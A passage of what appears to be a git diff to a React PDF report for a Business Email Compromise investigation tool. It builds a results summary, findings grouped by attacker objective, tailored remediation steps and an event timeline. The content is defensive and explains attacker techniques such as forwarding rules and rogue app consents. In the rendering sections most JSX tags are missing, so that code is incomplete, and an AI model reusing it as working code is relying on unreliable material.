(becData?.NonInteractiveSignIns || []).filter( + (s) => s.ForeignLocation === true && s.Status === 'Success' + ) + const mailActivitySummary = becData?.MailActivitySummary + const riskState = becData?.RiskState + + // ============================================================================================ + // Executive intelligence. A results roll-up, a findings-by-objective breakdown, evidence-driven + // priority actions and a chronological timeline — all derived from the same becData the detailed + // check pages render. These lead the report so a reader who stops after the first pages still has + // the verdict, the shape of what was found, and what to do about it, before any deep detail. + // ============================================================================================ + const parseDate = (value) => { + if (!value) return null + const parsed = new Date(value) + return Number.isNaN(parsed.getTime()) ? null : parsed + } + const forwardingAddress = + becData?.MailboxState?.ForwardingSmtpAddress || + becData?.MailboxState?.ForwardingAddress || + null + const hasForwarding = !!( + becData?.MailboxState?.HasForwarding || forwardingAddress + ) + + // Every check as one row — flagged (with a high-risk sub-count) or clear — so the summary page + // carries the whole result set at a glance, not only the four headline stats. + const summaryData = [ + { + area: 'Inbox rules & changes', + count: stats.newRules + stats.ruleChanges, + }, + { area: 'Mailbox delegations', count: flaggedDelegations.length }, + { + area: 'Application consents', + count: flaggedGrants.length, + danger: flaggedGrants.length, + }, + { + area: 'New / rogue applications', + count: stats.newApps, + danger: stats.maliciousApps, + }, + { area: 'Mailbox permission changes', count: stats.permissionChanges }, + { + area: 'Transport rules', + count: flaggedTransportRules.length + flaggedTransportChanges.length, + }, + { area: 'Mailbox add-ins', count: flaggedAddIns.length }, + { area: 'Forwarding & auto-reply', count: hasForwarding ? 1 : 0 }, + { area: 'Trusted / blocked sender changes', count: stats.safelistChanges }, + { area: 'Sent mail / mass-mail', count: stats.massMailFlagged ? 1 : 0 }, + { + area: 'Received phishing & threats', + count: receivedFindings.length + deliveredThreats.length, + danger: deliveredThreats.length, + }, + { + area: 'Sharing links', + count: stats.sharingChanges, + danger: stats.anonymousLinks, + }, + { area: 'MFA methods (new in window)', count: stats.recentMfaDevices }, + { + area: 'Registered devices (new in window)', + count: recentRegisteredDevices.length, + }, + { + area: 'Intune devices (new in window)', + count: stats.recentIntuneDevices, + }, + { + area: 'Foreign successful sign-ins', + count: stats.foreignSuccessfulSignIns, + danger: stats.foreignSuccessfulSignIns, + }, + { area: 'Directory audit events', count: flaggedAudits.length }, + { area: 'Identity Protection risk', count: riskState?.IsAtRisk ? 1 : 0 }, + ].map((row) => { + const danger = row.danger || 0 + const flagged = row.count || 0 + return { + area: row.area, + result: + danger > 0 + ? `${flagged} flagged · ${danger} high-risk` + : flagged > 0 + ? `${flagged} flagged` + : 'Clear', + resultColour: + danger > 0 ? '#C53030' : flagged > 0 ? '#B7791F' : '#2F855A', + } + }) + const flaggedAreaCount = summaryData.filter( + (row) => row.result !== 'Clear' + ).length + + // The findings grouped by the attacker objective they serve — the same five-objective lens the + // case workspace uses — so the breakdown reads as a story (how far the intrusion got) not a list. + const objectiveBreakdown = [ + { + label: 'Access', + value: + stats.foreignSuccessfulSignIns + + stats.recentMfaDevices + + recentRegisteredDevices.length + + stats.recentIntuneDevices + + (riskState?.IsAtRisk ? 1 : 0), + colour: '#3182CE', + }, + { + label: 'Persistence', + value: + stats.newRules + + stats.ruleChanges + + flaggedDelegations.length + + flaggedGrants.length + + stats.maliciousApps + + flaggedAddIns.length, + colour: '#805AD5', + }, + { + label: 'Mail flow', + value: + stats.permissionChanges + + flaggedTransportRules.length + + flaggedTransportChanges.length + + (hasForwarding ? 1 : 0) + + stats.safelistChanges, + colour: '#DD6B20', + }, + { + label: 'Exfiltration', + value: + stats.sharingChanges + + (stats.massMailFlagged ? 1 : 0) + + receivedFindings.length + + deliveredThreats.length, + colour: '#E53E3E', + }, + { + label: 'Blast radius', + value: flaggedAudits.length + stats.newUsers, + colour: '#718096', + }, + ] + const totalFindings = objectiveBreakdown.reduce( + (sum, objective) => sum + objective.value, + 0 + ) + + // Priority remediation actions, written from what was actually found. Each line names the count + // and, where it helps, the specific rule/app/address — so the report tells this user's story + // rather than repeating a generic checklist. + const isHighOrMed = + threatLevel.level === 'High' || threatLevel.level === 'Medium' + const ruleNames = (becData?.NewRules || []) + .map((rule) => rule.Name) + .filter(Boolean) + .slice(0, 3) + .join(', ') + const rogueAppNames = [ + ...(becData?.AddedApps || []) + .filter((app) => app.MaliciousMatch) + .map((app) => app.DisplayName || app.AppId), + ...(becData?.MaliciousSPs || []).map((sp) => sp.DisplayName || sp.AppId), + ] + .filter(Boolean) + .slice(0, 3) + .join(', ') + const consentNames = flaggedGrants + .map((grant) => grant.ClientDisplayName || grant.ClientAppId) + .filter(Boolean) + .slice(0, 3) + .join(', ') + + const tailoredActions = [ + isHighOrMed && { + tag: 'Critical', + text: `Reset ${userData?.userPrincipalName || 'the user'}'s password and revoke all active sessions to cut off any current attacker access.`, + }, + threatLevel.level === 'High' && { + tag: 'Critical', + text: 'Block sign-in for the account until the mailbox and identity are confirmed clean.', + }, + (flaggedGrants.length > 0 || stats.maliciousApps > 0) && { + tag: 'Critical', + text: `Revoke ${flaggedGrants.length + stats.maliciousApps} risky application consent(s)${consentNames || rogueAppNames ? ` (${consentNames || rogueAppNames})` : ''} — consent survives a password reset.`, + }, + stats.maliciousApps > 0 && { + tag: 'Critical', + text: `Disable the catalog-matched rogue application(s)${rogueAppNames ? ` (${rogueAppNames})` : ''} tenant-wide.`, + }, + (stats.newRules > 0 || stats.ruleChanges > 0) && { + tag: 'High', + text: `Disable the ${stats.newRules + stats.ruleChanges} suspicious inbox rule(s)/change(s)${ruleNames ? ` (${ruleNames})` : ''} that hide replies or auto-forward mail.`, + }, + hasForwarding && { + tag: 'High', + text: `Clear mailbox forwarding${forwardingAddress ? ` to ${forwardingAddress}` : ''}, which silently copies mail out of the tenant.`, + }, + flaggedDelegations.length > 0 && { + tag: 'High', + text: `Remove ${flaggedDelegations.length} flagged mailbox delegation(s) — a delegate keeps access after a reset.`, + }, + (stats.anonymousLinks > 0 || stats.sharingChanges > 0) && { + tag: 'High', + text: `Remove the ${stats.sharingChanges} sharing-link change(s)${stats.anonymousLinks ? `, including ${stats.anonymousLinks} "anyone" link(s)` : ''} and disable OneDrive sharing — anonymous links expose data past any reset.`, + }, + stats.massMailFlagged && { + tag: 'High', + text: `The mailbox sent a mass-mail campaign (${stats.sentTotalMessages} message(s) to ${stats.sentTotalRecipients} recipient(s)). Scope the wave and warn recipients before anything is purged.`, + }, + stats.foreignSuccessfulSignIns > 0 && { + tag: 'High', + text: `${stats.foreignSuccessfulSignIns} successful sign-in(s) from outside the assigned usage location confirm access — treat the account as compromised.`, + }, + flaggedTransportRules.length + flaggedTransportChanges.length > 0 && { + tag: 'High', + text: `Review and disable ${flaggedTransportRules.length + flaggedTransportChanges.length} tenant transport rule(s) changed in the window — these affect every mailbox.`, + }, + stats.recentMfaDevices > 0 && { + tag: 'Medium', + text: `Remove ${stats.recentMfaDevices} MFA method(s) registered during the window, then re-register trusted ones.`, + }, + recentRegisteredDevices.length > 0 && { + tag: 'Medium', + text: `Disable ${recentRegisteredDevices.length} device(s) registered during the window so they cannot satisfy device-based Conditional Access.`, + }, + stats.safelistChanges > 0 && { + tag: 'Medium', + text: `Review ${stats.safelistChanges} trusted-sender / safelist change(s) that would let an attacker's future mail skip filtering.`, + }, + flaggedAddIns.length > 0 && { + tag: 'Medium', + text: `Disable ${flaggedAddIns.length} flagged mailbox add-in(s).`, + }, + ].filter(Boolean) + const priorityActions = + tailoredActions.length > 0 + ? tailoredActions + : [ + { + tag: 'Monitor', + text: 'No specific indicators require remediation. Continue monitoring the account for 30 days and keep MFA enforced as a precaution.', + }, + ] + + // The outcome in plain business terms — what the intrusion actually achieved, phrased for a reader + // who wants the "so what", not which checks ran or how the data was gathered. Leads the summary. + const impactFindings = [ + (stats.foreignSuccessfulSignIns > 0 || foreignNonInteractive.length > 0) && + `Unauthorized access is confirmed — ${ + stats.foreignSuccessfulSignIns + foreignNonInteractive.length + } successful sign-in(s) came from outside the account's assigned location.`, + riskState?.IsAtRisk && + `Microsoft Identity Protection currently flags this account as at risk${ + riskState.RiskLevel ? ` (${riskState.RiskLevel} risk)` : '' + }.`, + hasForwarding && + `Incoming mail is being copied out of the organization${ + forwardingAddress ? ` to ${forwardingAddress}` : '' + }, so the attacker keeps reading it even after a reset.`, + (stats.newRules > 0 || stats.ruleChanges > 0) && + `${ + stats.newRules + stats.ruleChanges + } inbox rule(s) or change(s) hide, delete or redirect the user's mail.`, + stats.anonymousLinks > 0 && + `${stats.anonymousLinks} "anyone with the link" sharing link(s) expose files to anyone holding the URL, past any later reset.`, + stats.massMailFlagged && + `The mailbox sent a mass-mail wave — ${stats.sentTotalMessages} message(s) to ${stats.sentTotalRecipients} recipient(s) — so it is now being used to attack others.`, + (flaggedGrants.length > 0 || stats.maliciousApps > 0) && + `${ + flaggedGrants.length + stats.maliciousApps + } risky application consent(s) or app(s) retain access to data independently of the password.`, + (stats.recentMfaDevices > 0 || recentRegisteredDevices.length > 0) && + `New sign-in persistence was added — ${stats.recentMfaDevices} MFA method(s) and ${recentRegisteredDevices.length} device(s) registered during the window.`, + flaggedDelegations.length > 0 && + `${flaggedDelegations.length} mailbox delegation(s) let another account read this mailbox.`, + ].filter(Boolean) + + // A chronological "order of events" that correlates every timestamped signal — sign-ins (with the + // client app and IP), directory changes, mailbox and mail-flow changes, sharing, and the mail + // itself (sent, received-phishing and Defender-delivered) — so the report reads as the shape of the + // intrusion over time. Each row carries who/where detail, and identical bursts collapse to one ×N + // line so a repeated audit event does not drown the narrative. + const shortUpn = (value) => { + const text = String(value ?? '') + return text.length > 34 && text.includes('@') ? text.split('@')[0] : text + } + const joinDetail = (...parts) => parts.filter(Boolean).join(' · ') + const timelineRaw = [ + ...foreignSignIns.map((signIn) => ({ + date: parseDate( + signIn.CreatedDateTime || signIn.createdDateTime || signIn.Timestamp + ), + label: `Sign-in (${signIn.Status || 'unknown'})`, + detail: joinDetail( + [signIn.City, signIn.Country].filter(Boolean).join(', '), + signIn.AppDisplayName || signIn.appDisplayName || signIn.ClientAppUsed, + signIn.IPAddress || signIn.ipAddress || signIn.ClientIP + ), + })), + ...flaggedAudits.map((audit) => ({ + date: parseDate(audit.ActivityDateTime), + label: audit.Activity || 'Directory audit event', + detail: joinDetail(shortUpn(audit.InitiatedBy), audit.ClientIP), + })), + ...(becData?.InboxRuleChanges || []).map((change) => ({ + date: parseDate(change.Date), + label: change.Operation || 'Inbox rule change', + detail: joinDetail( + change.RuleName, + change.ClientIP, + change.ForeignLocation === true ? 'foreign' : null + ), + })), + ...(becData?.MailboxPermissionChanges || []).map((change) => ({ + date: parseDate(change.Date), + label: change.Operation || 'Mailbox permission change', + detail: joinDetail( + change.TargetsSuspect ? 'targets this mailbox' : null, + change.ClientIP + ), + })), + ...(becData?.SafelistChanges || []).map((change) => ({ + date: parseDate(change.Date), + label: change.Operation || 'Safelist change', + detail: joinDetail(change.ClientIP), + })), + ...(becData?.SharingChanges || []).map((change) => ({ + date: parseDate(change.Date), + label: change.Operation || 'Sharing change', + detail: joinDetail(change.FileName, change.Target), + })), + ...(becData?.SentMessages || []).map((message) => ({ + date: parseDate(message.Received), + label: 'Sent mail', + detail: joinDetail( + message.Subject, + message.RecipientAddress ? `to ${message.RecipientAddress}` : null, + message.FromIP + ), + })), + ...receivedFindings.map((finding) => ({ + date: parseDate(finding.Received), + label: `Received: ${finding.FindingType || 'finding'}`, + detail: joinDetail(finding.Subject, finding.SenderAddress), + })), + ...deliveredThreats.map((threat) => ({ + date: parseDate(threat.ReceivedDateTime), + label: 'Threat delivered (Defender)', + detail: joinDetail(threat.Subject, threat.SenderAddress), + })), + ...(becData?.MFADevices || []).filter(isRecentMfaDevice).map((method) => ({ + date: parseDate(method.createdDateTime), + label: 'MFA method registered', + detail: String(method['@odata.type'] || '').replace( + '#microsoft.graph.', + '' + ), + })), + ...recentRegisteredDevices.map((device) => ({ + date: parseDate(device.registrationDateTime || device.createdDateTime), + label: 'Entra device registered', + detail: device.displayName || device.deviceId || '', + })), + ...recentIntuneDevices.map((device) => ({ + date: parseDate(device.enrolledDateTime), + label: 'Intune device enrolled', + detail: device.deviceName || device.model || '', + })), + ...(becData?.ChangedPasswords || []).map((user) => ({ + date: parseDate(user.lastPasswordChangeDateTime), + label: 'Password changed', + detail: user.displayName || user.userPrincipalName || '', + })), + ] + .filter((event) => event.date) + .sort((a, b) => a.date - b.date) + + // Collapse a run of identical events in the same minute (same label and detail) into one ×N row. + const timelineCollapsed = [] + timelineRaw.forEach((event) => { + const minute = event.date.toISOString().slice(0, 16) + const previous = timelineCollapsed[timelineCollapsed.length - 1] + if ( + previous && + previous.minute === minute && + previous.label === event.label && + previous.detail === event.detail + ) { + previous.count += 1 + return + } + timelineCollapsed.push({ ...event, minute, count: 1 }) + }) + const timelineTotal = timelineCollapsed.length + const timelineEvents = timelineCollapsed.slice(0, 40).map((event) => ({ + when: formatDate(event.date), + event: event.count > 1 ? `${event.label} (×${event.count})` : event.label, + detail: event.detail, + })) + + // Containment actions already run for this case (from the run's stored history), flattened to one + // row per action result, newest first — so the report records what was done, not only what to do. + const remediationRows = (becData?.Run?.Containment || []) + .slice() + .reverse() + .flatMap((entry) => + (Array.isArray(entry.Results) ? entry.Results : []).map((row) => ({ + when: formatDate(entry.At), + action: String(row.Action || '') + .replace(/([a-z0-9])([A-Z])/g, '$1 $2') + .trim(), + target: row.Target, + result: row.resultText, + state: row.state, + })) + ) + const remediationStateColour = (row) => + ({ + success: '#2F855A', + error: '#C53030', + warning: '#B7791F', + })[row.state] || '#4A5568' return ( {/* EXECUTIVE SUMMARY PAGE */} - - +
- This report documents the findings of a Business Email Compromise (BEC) investigation - performed for the user account{' '} + This report documents the findings of a Business Email Compromise + (BEC) investigation performed for the user account{' '} {userData?.userPrincipalName} within{' '} - {tenantName}. The investigation analyzed - suspicious activity indicators including mailbox rules, permission changes, new - applications, authentication patterns, and sign-in locations over a 7-day period. + {tenantName}. The investigation analyzed suspicious + activity indicators including mailbox rules, permission changes, new + applications, authentication patterns, and sign-in locations over a + 7-day period. - Business Email Compromise is a sophisticated scam targeting organizations that regularly - perform wire transfers or have established relationships with foreign suppliers. - Attackers compromise legitimate email accounts through social engineering or computer - intrusion techniques to conduct unauthorized fund transfers, steal sensitive - information, or impersonate executives. + Business Email Compromise is a sophisticated scam targeting + organizations that regularly perform wire transfers or have + established relationships with foreign suppliers. Attackers + compromise legitimate email accounts through social engineering or + computer intrusion techniques to conduct unauthorized fund + transfers, steal sensitive information, or impersonate executives.
- - - {threatLevel.level === 'High' && - 'HIGH RISK: Multiple indicators of compromise detected. Immediate remediation actions are strongly recommended. This account shows patterns consistent with active Business Email Compromise attacks.'} - {threatLevel.level === 'Medium' && - 'MEDIUM RISK: Suspicious activity patterns detected. Review findings and consider implementing recommended security measures. Some indicators suggest potential unauthorized access.'} - {threatLevel.level === 'Low' && - 'LOW RISK: Minimal suspicious activity detected. The findings show standard user behavior with no significant indicators of compromise. Continue monitoring as a precautionary measure.'} - -
- -
- {becData?.ExtractResult || 'Unknown'} - - Last 7 days ending {becData?.ExtractedAt ? formatDate(becData.ExtractedAt) : 'N/A'} - - - {locationAnalysis?.UsageLocation || - 'Not assigned - sign-ins and activity could not be compared against an expected country'} + + {threatLevel.level === 'High' && + 'HIGH RISK: Multiple indicators of compromise detected. Immediate remediation actions are strongly recommended. This account shows patterns consistent with active Business Email Compromise attacks.'} + {threatLevel.level === 'Medium' && + 'MEDIUM RISK: Suspicious activity patterns detected. Review findings and consider implementing recommended security measures. Some indicators suggest potential unauthorized access.'} + {threatLevel.level === 'Low' && + 'LOW RISK: Minimal suspicious activity detected. The findings show standard user behavior with no significant indicators of compromise. Continue monitoring as a precautionary measure.'} + + {appliedSignals.length > 0 && ( + + {appliedSignals + .map( + (signal) => + `+${signal.Weight} ${signal.Description} (${signal.Count})` + ) + .join('\n')} + )}
-
- - {/* UNDERSTANDING BEC PAGE */} - - -
- - Business Email Compromise (BEC) is a type of cyberattack where criminals gain - unauthorized access to a business email account. Once inside, attackers can: - - - - Read sensitive - emails to learn about business operations, financial processes, and key - relationships. - - Send fraudulent - emails appearing to come from company leadership requesting wire transfers or - sensitive data. - - Intercept - legitimate invoices and alter payment information to redirect funds to - attacker-controlled accounts. - - Create email rules to - automatically delete or hide messages, preventing detection. - - -
- -
- - Attackers typically gain access to email accounts through: - - - Deceptive emails that trick - users into providing their login credentials on fake websites. - - Automated attempts to - log in using common passwords across many accounts. - - Using usernames and - passwords leaked from other breached websites. - - Software that captures - keystrokes or steals stored passwords from compromised devices. - - +
+ {impactFindings.length > 0 ? ( + <> + + In plain terms, this is what the investigation established about{' '} + {userData?.userPrincipalName}: + + + {impactFindings.map((finding, index) => ( + {finding} + ))} + + + ) : ( + + None of the investigation's checks returned evidence that + this account was accessed, altered or misused during the analysis + window. + + )}
-
+
- This analysis was initiated because suspicious activity was detected or reported for - this user account. The investigation examines multiple indicators that might suggest - account compromise, including unusual mailbox rules, unexpected permission changes, new - application authorizations, and abnormal sign-in patterns. Early detection is critical - to minimize potential damage and prevent financial loss or data theft. + Every check in this investigation and its result.{' '} + {!isSummary && + 'Flagged rows are expanded in the detailed findings later in this report. '} + {flaggedAreaCount} of {summaryData.length} checks returned something + to review. -
- - - {/* DETAILED FINDINGS PAGE */} - - - {/* Check 1: Mailbox Rules */} -
- - Attackers often create email rules to automatically forward, delete, or hide messages. - This prevents victims from seeing evidence of fraudulent activity. Suspicious rules - may move emails to obscure folders like "RSS Subscriptions" or forward them to - external addresses. - - - {stats.newRules > 0 && ( - <> - - The following mailbox rules were detected. Review each rule carefully to determine - if it was created by the user or by an attacker. Rules that forward emails or move - them to unusual folders are particularly suspicious. - - - {becData.NewRules.slice(0, 10).map((rule, index) => ( - - Description: {rule.Description || 'No description available'} - {'\n'} - {rule.MoveToFolder && `Moves to: ${rule.MoveToFolder}`} - {rule.ForwardTo && `\nForwards to: ${rule.ForwardTo}`} - {rule.DeleteMessage && '\nDeletes messages'} - {rule.RecentlyChanged && '\nCreated or changed in the last 7 days'} - - ))} - {becData.NewRules.length > 10 && ( - - ... and {becData.NewRules.length - 10} more rules (see JSON export for full list) - - )} - - )} - {stats.ruleChanges > 0 && ( + {totalFindings > 0 && ( <> - - The audit log recorded inbox rules being created, changed or removed on this - mailbox. Rules that were removed after use are a common way for attackers to cover - their tracks. - - - {becData.InboxRuleChanges.slice(0, 10).map((change, index) => ( - - Date: {change.Date || 'Unknown'} - {'\n'} - By: {change.UserKey || 'Unknown'} - {change.ClientIP && - `\nFrom: ${change.ClientIP}${change.Country ? ` (${change.Country})` : ''}`} - {change.ForeignLocation === true && - '\n⚠️ Originated outside the assigned usage location'} - {change.Parameters && `\nParameters: ${change.Parameters}`} - - ))} - {becData.InboxRuleChanges.length > 10 && ( - - ... and {becData.InboxRuleChanges.length - 10} more changes (see JSON export for - full list) - - )} + + Findings by attacker objective — grouped by what + each finding would let an attacker do: + + ({ + label: objective.label, + value: objective.value, + max: Math.max( + ...objectiveBreakdown.map((entry) => entry.value), + 1 + ), + display: `${objective.value}`, + colour: objective.colour, + }))} + /> )} - {stats.newRules === 0 && stats.ruleChanges === 0 && ( - - No mailbox rules were detected that match suspicious patterns. This is a positive - indicator. - + row.resultColour, + }, + ]} + rows={summaryData} + limit={summaryData.length} + /> + {!isSummary && ( + + Checks that could not run (missing a licence, permission, mailbox + or service) are itemised under Data Source Information below — a + check that did not run is not a pass. + )}
-
- - {/* CHECK 2: NEW USERS */} - -
- - Attackers sometimes create new user accounts to maintain persistent access or to use - as staging accounts for fraudulent activities. Reviewing recently created users helps - identify unauthorized account creation. - +
+ + Actions specific to what this investigation found, most urgent + first. Your IT or security team should carry these out without delay + {!isSummary + ? '; the strategic and preventative measures follow later in this report.' + : '.'} + + + ({ + Critical: '#C53030', + High: '#DD6B20', + Medium: '#B7791F', + Monitor: '#2F855A', + })[row.tag] || '#4A5568', + }, + { header: 'Action', key: 'text', width: 5 }, + ]} + rows={priorityActions} + limit={priorityActions.length} + /> +
- {stats.newUsers > 0 ? ( +
+ {timelineEvents.length > 0 ? ( <> - - The following users were created in the last 7 days. Verify that each account - creation was authorized and legitimate. - - - {becData.NewUsers.slice(0, 8).map((user, index) => ( - - Email: {user.userPrincipalName || 'N/A'} - {'\n'} - Created: {formatDate(user.createdDateTime)} - - ))} - {becData.NewUsers.length > 8 && ( + + Every timestamped signal — sign-ins, directory and mailbox + changes, sharing, and the mail itself — in the order it + happened, with who and where where known. Read it as the shape + of the intrusion over time, not as isolated findings. + + + {timelineTotal > timelineEvents.length && ( - ... and {becData.NewUsers.length - 8} more users (see JSON export for full list) + Showing the first {timelineEvents.length} of {timelineTotal}{' '} + correlated events, earliest first. )} ) : ( - - No new user accounts were created during the analysis period. - + + None of the checks returned a dated event inside the analysis + window. This usually means no changes were made to the account in + the period, not that data was missing. + )}
- {/* Check 3: New Applications */} -
- - Attackers may authorize malicious or suspicious third-party applications to access - your email and data. These applications can read emails, send messages, and access - files without the user's explicit knowledge. + {remediationRows.length > 0 && ( +
+ + The containment actions already run for this account during the + investigation, and their result for each target. + + +
+ )} + + {!isSummary && ( +
+ + {becData?.ExtractResult || 'Unknown'} - - {stats.maliciousApps > 0 && ( - - One or more applications in this tenant match the CIPP known-malicious application - catalog. Consent-based access survives a password reset, so these applications - should be removed unless their presence is explained. + + Last {windowDays} days ending{' '} + {becData?.ExtractedAt ? formatDate(becData.ExtractedAt) : 'N/A'} + + {becData?.CaseId && ( + + {becData.CaseId} -{' '} + {isFullScope ? 'full investigation' : 'quick check'}. Metadata + only: audit records, sign-ins, trace headers, permissions, rules + and devices were collected; no message content was read. + + )} + {skippedCollectors.length > 0 && ( + + {skippedCollectors + .map( + ([name, marker]) => + `${name}: ${marker.Requirement || marker.Error || 'not checked'}` + ) + .join('\n')} - )} - - {stats.newApps > 0 ? ( - <> - - New applications were granted access during the analysis period. Review each - application to ensure it was authorized and is from a trusted publisher. - + )} + {incompleteCollectors.length > 0 && ( + + {incompleteCollectors + .map( + ([name, marker]) => + `${name}: ${marker.Error || `capped at ${marker.Cap}`}` + ) + .join('\n')} + + )} + + {locationAnalysis?.UsageLocation || + 'Not assigned - sign-ins and activity could not be compared against an expected country'} + +
+ )} + - {becData.AddedApps.slice(0, 6).map((app, index) => ( - - Publisher: {app.publisher || 'Unknown'} - {'\n'} - App ID: {app.appId || 'N/A'} - {'\n'} - Created: {formatDate(app.createdDateTime)} - {app.MaliciousMatch && - `\n⚠️ Matches known-malicious catalog entry "${app.MaliciousMatch.Name}"${ - app.MaliciousMatch.Categories?.length - ? ` (${app.MaliciousMatch.Categories.join(', ')})` - : '' - }`} - - ))} - {becData.AddedApps.length > 6 && ( - - ... and {becData.AddedApps.length - 6} more apps (see JSON export for full list) - - )} - - ) : ( - (becData?.MaliciousSPs?.length || 0) === 0 && ( - - No new applications were authorized during the analysis period, and no known - malicious applications are present in the tenant. - - ) - )} + {/* The educational, per-check detail, recommendations and compliance pages — everything past the + executive summary. The summary variant stops here so a C-suite reader gets the verdict, the + findings at a glance, the priority actions, the timeline and what was remediated, and no more. */} + {!isSummary && ( + <> + {/* UNDERSTANDING BEC PAGE */} + +
+ + Business Email Compromise (BEC) is a type of cyberattack where + criminals gain unauthorized access to a business email account. + Once inside, attackers can: + - {(becData?.MaliciousSPs?.length || 0) > 0 && ( - <> - {becData.MaliciousSPs.slice(0, 6).map((app, index) => ( - - Catalog entry: {app.CatalogName || 'Unknown'} - {'\n'} - App ID: {app.appId || 'N/A'} - {'\n'} - Categories: {app.Categories?.length ? app.Categories.join(', ') : 'N/A'} - {'\n'} - Enabled: {String(app.accountEnabled ?? 'Unknown')} - {'\n'} - First seen: {formatDate(app.createdDateTime)} - - ))} - {becData.MaliciousSPs.length > 6 && ( - - ... and {becData.MaliciousSPs.length - 6} more (see JSON export for full list) - - )} - - )} -
-
+ + + {' '} + Read sensitive emails to learn about business operations, + financial processes, and key relationships. + + + {' '} + Send fraudulent emails appearing to come from company + leadership requesting wire transfers or sensitive data. + + + {' '} + Intercept legitimate invoices and alter payment information to + redirect funds to attacker-controlled accounts. + + + {' '} + Create email rules to automatically delete or hide messages, + preventing detection. + + +
+ +
+ + Attackers typically gain access to email accounts through: + - {/* CHECK 4, 5, 6, 7: PERMISSIONS, SENT MAIL, MFA, PASSWORDS */} - + + + {' '} + Deceptive emails that trick users into providing their login + credentials on fake websites. + + + {' '} + Automated attempts to log in using common passwords across + many accounts. + + + {' '} + Using usernames and passwords leaked from other breached + websites. + + + {' '} + Software that captures keystrokes or steals stored passwords + from compromised devices. + + +
+ +
+ + This analysis was initiated because suspicious activity was + detected or reported for this user account. The investigation + examines multiple indicators that might suggest account + compromise, including unusual mailbox rules, unexpected + permission changes, new application authorizations, and abnormal + sign-in patterns. Early detection is critical to minimize + potential damage and prevent financial loss or data theft. + +
+ - {/* Check 4: Mailbox Permission Changes */} -
- - Unauthorized changes to mailbox permissions can allow attackers to grant themselves or - accomplices access to read, send, or manage emails. This is a common technique to - maintain persistent access. - + {/* DETAILED FINDINGS PAGE */} + + {/* Check 1: Mailbox Rules */} +
+ + Attackers often create email rules to automatically forward, + delete, or hide messages so victims never see evidence of + fraudulent activity. A rule is flagged when it forwards or + redirects mail (especially to an external address), deletes + messages, moves them to a low-visibility folder (RSS, Archive, + Deleted Items), stops processing other rules, targets financial + keywords, or takes any of these actions on all incoming mail + with no condition. + - {stats.permissionChanges > 0 ? ( - <> - - Mailbox permission changes were detected. Verify that each change was authorized - and necessary for legitimate business purposes. - + {stats.newRules > 0 && ( + <> + + The following mailbox rules were detected. Review each rule + carefully to determine if it was created by the user or by + an attacker. Rules that forward emails or move them to + unusual folders are particularly suspicious. + - {becData.MailboxPermissionChanges.slice(0, 5).map((change, index) => ( - - User: {change.UserKey || 'Unknown'} - {'\n'} - Target: {change.ObjectId || 'N/A'} - {'\n'} - Permissions: {change.Permissions || 'Unknown'} - {change.TargetsSuspect === true && - '\n⚠️ Targets the investigated mailbox'} - - ))} - {becData.MailboxPermissionChanges.length > 5 && ( - - ... and {becData.MailboxPermissionChanges.length - 5} more changes - + {becData.NewRules.slice(0, 10).map((rule, index) => ( + + {[ + rule.MoveToFolder && + `Moves mail to: ${rule.MoveToFolder}`, + rule.ForwardTo && `Forwards to: ${rule.ForwardTo}`, + rule.ForwardAsAttachmentTo && + `Forwards as attachment to: ${rule.ForwardAsAttachmentTo}`, + rule.RedirectTo && `Redirects to: ${rule.RedirectTo}`, + rule.DeleteMessage && 'Deletes messages', + rule.MarkAsRead && 'Marks messages read', + rule.StopProcessingRules && + 'Stops processing further rules', + rule.SubjectContainsWords && + `On subject words: ${ + Array.isArray(rule.SubjectContainsWords) + ? rule.SubjectContainsWords.join(', ') + : rule.SubjectContainsWords + }`, + rule.RecentlyChanged && + 'Created or changed in the window', + rule.Enabled === false && 'Currently disabled', + ] + .filter(Boolean) + .join('\n') || + rule.Description || + 'No actions recorded on this rule'} + + ))} + {becData.NewRules.length > 10 && ( + + ... and {becData.NewRules.length - 10} more rules (in the + retained investigation record) + + )} + )} - - ) : ( - - No mailbox permission changes were detected during the analysis period. - - )} -
+ {stats.ruleChanges > 0 && ( + <> + + The audit log recorded inbox rules being created, changed or + removed on this mailbox. Rules that were removed after use + are a common way for attackers to cover their tracks. + - {/* Check 5: Sent Messages */} -
- - Attackers use a compromised mailbox to send fraudulent invoices, phishing, or - internal impersonation mail. The message trace shows what actually left the mailbox - during the analysis period, including the IP address it was sent from. - + {becData.InboxRuleChanges.slice(0, 10).map( + (change, index) => ( + + Date: {change.Date || 'Unknown'} + {'\n'} + By: {change.UserKey || 'Unknown'} + {change.ClientIP && + `\nFrom: ${change.ClientIP}${change.Country ? ` (${change.Country})` : ''}`} + {change.ForeignLocation === true && + '\n⚠️ Originated outside the assigned usage location'} + {change.Parameters && + `\nParameters: ${change.Parameters}`} + + ) + )} + {becData.InboxRuleChanges.length > 10 && ( + + ... and {becData.InboxRuleChanges.length - 10} more + changes (see the retained investigation record for the + full list) + + )} + + )} + {stats.newRules === 0 && stats.ruleChanges === 0 && ( + + No mailbox rules were detected that match suspicious patterns. + This is a positive indicator. + + )} +
+
- {stats.sentMessages > 0 ? ( - <> - - ℹ️ {stats.sentTotalMessages || stats.sentMessages} message(s) to{' '} - {stats.sentTotalRecipients || stats.sentMessages} recipient(s) were sent by this - mailbox during the analysis period - {stats.foreignSentMessages > 0 - ? `, including ${stats.foreignSentMessages} from an IP outside the user's assigned usage location.` - : '.'} - + {/* CHECK 2: NEW USERS */} + +
+ + Attackers sometimes create new user accounts to maintain + persistent access or to use as staging accounts for fraudulent + activities. Reviewing recently created users helps identify + unauthorized account creation. + - {stats.massMailFlagged && ( - - {stats.repeatedSubjects > 0 - ? `${stats.repeatedSubjects} subject(s) were sent as many separate messages or to many recipients. ` - : ''} - {stats.sendBursts > 0 - ? `${stats.sendBursts} short burst(s) of high-volume sending were detected. ` - : ''} - Identical-subject mass mail and send bursts are how a compromised mailbox - spreads phishing or fraudulent invoices. Review the campaigns below and warn - the recipients if the content was malicious. + {stats.newUsers > 0 ? ( + <> + + The following users were created in the last 7 days. Verify + that each account creation was authorized and legitimate. - )} - {(becData?.SentMessageAnalysis?.RepeatedSubjects || []) - .slice(0, 5) - .map((group, index) => ( - - Messages: {group.MessageCount} - {'\n'} - Recipients: {group.RecipientCount} - {'\n'} - First sent: {group.FirstSent || 'N/A'} + {becData.NewUsers.slice(0, 8).map((user, index) => ( + + Email: {user.userPrincipalName || 'N/A'} {'\n'} - Last sent: {group.LastSent || 'N/A'} + Created: {formatDate(user.createdDateTime)} - ))} - {(becData?.SentMessageAnalysis?.RepeatedSubjects?.length || 0) > 5 && ( - - ... and {becData.SentMessageAnalysis.RepeatedSubjects.length 